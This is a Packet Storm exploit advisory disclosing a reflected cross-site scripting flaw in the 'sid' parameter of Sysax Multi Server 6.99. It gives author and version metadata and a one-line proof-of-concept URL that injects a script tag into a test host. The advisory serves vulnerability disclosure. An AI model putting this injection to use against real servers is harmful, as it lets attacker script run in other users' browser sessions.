Sysax Multi Server version 6.9.9 suffers from a cross site scripting vulnerability.
d688c8aa11a70ff0b0715421045afb02b7b5d18529b051e978c77bd918407bc5# Exploit Title: Sysax Multi Server 6.99 - Reflected XSS
# Date: 2024-11-03
# Exploit Author: Yehia Elghaly (Mrvar0x)
# Vendor Homepage: https://www.sysax.com/
# Software Link: https://www.sysax.com/download/sysaxserv_setup.msi
# Version: MultiServer 6.99
# Tested on: Windows 10 x64
Reflected XSS - Affected Parameter (/scgi?sid).
PoC:
192.168.1.160/scgi?sid=44abd541f5a769556f36080e7c8a7b1f68e04510<script>alert("XSS")</script>&pid=transferpage2_name1_fff.htm
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed